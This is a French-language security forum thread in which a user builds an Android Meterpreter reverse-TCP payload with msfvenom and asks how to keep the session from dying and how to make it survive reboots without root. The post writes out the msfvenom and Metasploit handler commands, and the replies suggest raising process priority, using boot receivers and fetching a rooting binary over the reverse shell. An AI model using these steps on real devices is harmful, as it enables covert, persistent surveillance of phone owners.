Auteur Sujet: Persistence session meterpreter sur android  (Lu 4747 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne F-DX

  • Membre Junior
  • *
  • Messages: 26
  • +1/-0
Persistence session meterpreter sur android
« le: 06 juin 2019 à 13:28:21 »
Hello,

Je vais essayer d'être bref avec les tentatives que j'ai fait. But : Pirater mon téléphone pour en cas de vol et autre justification pour en apprendre plus =)

Le payload est créé avec msfvenom -p android/meterpreter/reverse_tcp LHOST= IPpublic LPORT=4444 -o /root/blabla.apk
Tout se passe bien. Je le transfert sur mon tel (source inconnue autorisée) il s'installe et me signale qu'il n'est pas connu sur le play store. Soiteuhh, je verais plus tard ce détail (surement la signature appli qui est pas bonne, m'enfin je sais pas). Bref, installation faite "CECI EST UN VIRUS !!!!!!!!!!!!!" Lol ok petit droïde, j'appuie "ignorer". (pareil j'ai tenter de le rendre furtif mais encoder une appli avec shikata ga nai la rend impossible à installer apparemment =(

Bref, msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST IPlocal
Set LPORT 4444
exploit

Bon, session créée les commandes passes... 2 min plus tard boum sessions died

Plusieurs essais plus tard et quelques sujets ici plus tard dont un où Platon Y dit "peu être que ta tablette n'accepte pas d'être pirater, demande le lui, et tu trouvera si quelque chose d'autres doit être noté dans metasploit "

A y'a une commande quelque part alors pour pallier à ce problème ! COOL ! avec la commande help sur la session meterpreter je trouve la commande
wakelockT'entative et ... SUCCES !!!

Recherche d'une manière de créer une persistence dans le payload pour le redémarrage du tel. Je commence à réfléchir et me dis que décompiler avec apktool semble être une bonne idée malgré le fait que je ne connaisse pas grand chose à java. C'est un language de programmation comme les autres avec des boucle et des conditions, hein ? La naïveté ! J'ai rien tilté même avec openclassroom à côté (je sais faudrai que je prenne tout dans l'ordre mais c'est mon côté impatient pressé)

Ahh ! Mais je me rend compte que mon tel était en charge pendant tout ce temps ! Je débranche et 2 min après "sessions died", F******CKING HELL !!! La solution n'est pas cette commande WAKELOCK ?

Bref je sèche un peu. Ah et j'ai vu qu'on pouvais envoyer un shell pour boucler le démarrage du payload mais ça marcherai que jusqu'au redémarrage du tel et si j'ai bien compris m'ouvrirai en boucle des sessions meterpreter et les cumulerai (à moins d'avoir mal compris ?)

Au final 2 choses :

- pouvoir tenir la session meterpreter. Obliger de shell avec boucle ou dans le code java on peut augmenter l'importance du processus et donc empêcher la fermeture de celui-ci par android ? Autre ?

- Persistence au redémarrage du tel ? Sans qu'il soit rooté évidemment. Coder un déclencheur à la fin du démarrage d'android ? Autre ?

Merci d'avance pour vos pistes !

En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2846
  • +162/-5
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Persistence session meterpreter sur android
« Réponse #1 le: 06 juin 2019 à 13:46:12 »
Tu as vérifier si tu voyais toujours ton processus dans ta liste des process sur ton téléphone ? si ce n'est pas le cas c'est que ton téléphone veut couper le processus ou si c'est le processus qui crash ?

Pour la persistence je pense que tu peux trouver ce que tu cherches avec ça je pense :

https://null-byte.wonderhowto.com/how-to/create-persistent-back-door-android-using-kali-linux-0161280/

Mess  with the bests.
Die like the rest.

Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 606
  • +36/-5
Re : Persistence session meterpreter sur android
« Réponse #2 le: 06 juin 2019 à 14:11:47 »
Pour le process actif ou non c'est lié à la facon dont android gere les priorités.
Un peu de doc :
https://medium.com/androiddevelopers/who-lives-and-who-dies-process-priorities-on-android-cb151f39044f
Ca se change.

Pour la persistance la facon propre de le faire c'est de modifier la code java de ton apk pour inclure une fonction qui sortira de veille ton app, un peu à la facon des app de messagerie qui à intervalle régulier interroge leurs serveurs à la recherche de nouveaux messages.
Mais là va te falloir de bonnes connaissances en Java  :)
Le bouquin qui etait mon livre de chevet pendant un moment (me suis beaucoup intéréssé au pentest mobiles car je pense que à l'avenir ce seront les mobiles qui seront hackés car moins sécurisés que les PC) :
https://www.amazon.fr/Android-d%C3%A9veloppement-dapplications-Smartphones-Tablettes/dp/2746089262

En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2846
  • +162/-5
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Persistence session meterpreter sur android
« Réponse #3 le: 06 juin 2019 à 14:12:36 »
Tu penses que le problème est lié aux priorités ?
Mess  with the bests.
Die like the rest.

Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 606
  • +36/-5
Re : Re : Persistence session meterpreter sur android
« Réponse #4 le: 06 juin 2019 à 14:20:04 »
Tu penses que le problème est lié aux priorités ?
C'est possible.
Cela peut venir aussi de la stabilité du reverse shell crée. C'est fragile ces bebetes, le moindre octet qui plante et la connection died
Ce que je ferais à ta place :

1° Je testerais en local mon payload. J'ai vu que ton payload tu l'avais crée avec IP public.
Donc tu teste en local. Tu mets ton mobile en wifi sur ton reseau local, ton IP de payload tu lui balance une IP locale et tu testes.
Si tes pb de connections died disparaissent alors c'est le passage wan qui merde (stabilité du reseau gsm)

2° Si toujours des pb de reverse shell qui died, va dans tes parametres developpeurs pour affecter manuellement une plus grande priorité à ton app main activity. ainsi quand ton OS fera le menage dans les app qu'il doit tuer elle aura une priorité basse.
Tu peux meme definir dans ces priorités que ton OS ne le died jamais de lui meme meme si innactif.


En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2846
  • +162/-5
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Persistence session meterpreter sur android
« Réponse #5 le: 06 juin 2019 à 14:21:22 »
Ben je pensais plus a la stabilité oui moi en fait , pour ça que je lui demandais si il voyait encore le processus dans sa liste.
Mais oui c'est bien possible que ce soit les priorités après tout.
Mess  with the bests.
Die like the rest.

Hors ligne F-DX

  • Membre Junior
  • *
  • Messages: 26
  • +1/-0
Re : Persistence session meterpreter sur android
« Réponse #6 le: 06 juin 2019 à 15:24:15 »
Avant l'exploitation en WAN je l'ai fait en LAN (j'en ai chié d'ailleurs lol). En LAN j'avais la même chose. Le processus est toujours listé dans les processus en cours. Quand j'appuie sur l'appli/ payload la session se recréé aussitôt.

Le lien Nullbyte je l'ai vu. Dans cet article il n'arrive pas à faire de persistence même au redémarrage. (téléphone non rooté donc pas d'accès à init.d pour le shell, du moins d'après lui).

Pour la persistence sans redémarrage NullByte se retrouve avec plusieurs sessions meterpreter. Quite à place un shell comme celui là autant que le retour soit propre. Peut-être en rajoutant une condition analysant si la session est encore ouverte ? Possible sachant que les processus sont kills ?

L'idéal de tout ça c'est aussi de le faire à distance sans forcément mettre en place tout les bons paramètres avec le téléphone en main. Pouvoir coder ou executer les bonne commande sur une session meterpreter de 2 min dans mon cas =P

En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2846
  • +162/-5
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Persistence session meterpreter sur android
« Réponse #7 le: 06 juin 2019 à 15:42:17 »
Si le téléphone n'est pas rooté ça risque d'etre compliqué tu sais....
faut que ton programme puisse avoir accès aux fonctionnalités avancées du systèmes pour pouvoir mettre en place la persistence.

Tu peux simplement faire une condition sur le port de communication du style
try
{
    OpenPort()
}
catch(already_open)
Mess  with the bests.
Die like the rest.

Hors ligne F-DX

  • Membre Junior
  • *
  • Messages: 26
  • +1/-0
Re : Persistence session meterpreter sur android
« Réponse #8 le: 06 juin 2019 à 18:26:59 »
Je viens de voir avec les processus dans les options développeur que le processus se fait kill.

Voilà ce que je pense :

- Placer des lignes pour créer un service "prioritaire" ou en "foreground process" selon le lien de _john_doe. Ainsi plus de risque de kill, c'est pas avec la quantité de boulot qu'envoie le payload qu'on va ralentir le tel, j'me trompe ?

- Je vais peut-être paraître naïf mais, si on peut rooter son tel avec des appli. Ne le peut-on pas avec les bonnes commandes en shell ? Voir java ? Ainsi le payload pourrait de lui-même rooter le tel et permettre la persistance définitive ?

- J'ai lu que le java avec des broadcast receivers, si notre payload en possède, ne peut-on pas le mettre à "l'écoute" du démarrage d'android ? (J'ai vu en décompilant qu'il en demandait la permission d'ailleurs "RECEIVE_BOOT_COMPLETED") Il se ferait instant kill au démarrage ?


En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2846
  • +162/-5
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Persistence session meterpreter sur android
« Réponse #9 le: 06 juin 2019 à 18:32:30 »
Je viens de voir avec les processus dans les options développeur que le processus se fait kill.

Voilà ce que je pense :

- Placer des lignes pour créer un service "prioritaire" ou en "foreground process" selon le lien de _john_doe. Ainsi plus de risque de kill, c'est pas avec la quantité de boulot qu'envoie le payload qu'on va ralentir le tel, j'me trompe ?

- Je vais peut-être paraître naïf mais, si on peut rooter son tel avec des appli. Ne le peut-on pas avec les bonnes commandes en shell ? Voir java ? Ainsi le payload pourrait de lui-même rooter le tel et permettre la persistance définitive ?

- J'ai lu que le java avec des broadcast receivers, si notre payload en possède, ne peut-on pas le mettre à "l'écoute" du démarrage d'android ? (J'ai vu en décompilant qu'il en demandait la permission d'ailleurs "RECEIVE_BOOT_COMPLETED") Il se ferait instant kill au démarrage ?




- Je pense que c'est ce qu'il faut faire oui

- Bonne chance pour le faire xD

- d'ou ma remarque sur le fait que il faut le router pour espérer avoir les droits
Mess  with the bests.
Die like the rest.

Hors ligne _john_doe

  • Contributeur de Kali-linux.fr
  • Membre VIP
  • *****
  • Messages: 606
  • +36/-5
Re : Re : Persistence session meterpreter sur android
« Réponse #10 le: 06 juin 2019 à 18:54:12 »
Je viens de voir avec les processus dans les options développeur que le processus se fait kill.


- Placer des lignes pour créer un service "prioritaire" ou en "foreground process" selon le lien de _john_doe. Ainsi plus de risque de kill, c'est pas avec la quantité de boulot qu'envoie le payload qu'on va ralentir le tel, j'me trompe ?
Try->Fail->retry->Pass   : La définition meme du hacking  :)

Concernant l'idée de rooter en shell , c'est pas aussi simple.
Andoid est basé sur Linux, lui meme ecrit en C. Donc coder un script en bash pour rooter ton android bonne chance  :)
Il faut bien comprendre que rooter veut dire modifier le kernel de ton OS. donc ca ne se fait pas en quleques lignes bash.
Par contre ce qui est envisagable c'est une fois le reverse TCP obtenu, telecharger un binaire du genre ODIN (different pour chaque modele à rooter), et de le faire executer en remote.

Maintenant certains root nécessitent de rebooter plusieurs fois le téléphone pendant la phase de rooting, donc sans acces physique au telephone ca va etre compliqué.....

En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2846
  • +162/-5
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Persistence session meterpreter sur android
« Réponse #11 le: 06 juin 2019 à 18:55:55 »
Sachant que même des fois malgré tout ça , ça ne fonctionne pas
Mess  with the bests.
Die like the rest.

Hors ligne F-DX

  • Membre Junior
  • *
  • Messages: 26
  • +1/-0
Re : Persistence session meterpreter sur android
« Réponse #12 le: 06 juin 2019 à 19:04:16 »
Hum je vois. On oubli le root par commande alors =D

Y'a bien des application qui démarre automatiquement au démarrage, comment celle-ci font elles sans root ? Je pense à des applis comme facebook, messenger, agenda etc... Quel est la différence ?


En ligne ZeR0-@bSoLu

  • Administrateur
  • Membre Elite
  • *****
  • Messages: 2846
  • +162/-5
  • Pentest - Arch - Python - Kali
    • Kali-fr
Re : Persistence session meterpreter sur android
« Réponse #13 le: 06 juin 2019 à 19:57:15 »
Les applications genre facebook etc sont lancés en tant que tâche avec les droits utilisateurs souvent , et une fois l'os démarré , alors que certains process sont lancés eux même par le système (kernel)
Mess  with the bests.
Die like the rest.

Hors ligne F-DX

  • Membre Junior
  • *
  • Messages: 26
  • +1/-0
Re : Persistence session meterpreter sur android
« Réponse #14 le: 06 juin 2019 à 20:08:44 »
Peut on l'appliquer au payload d'après toi ?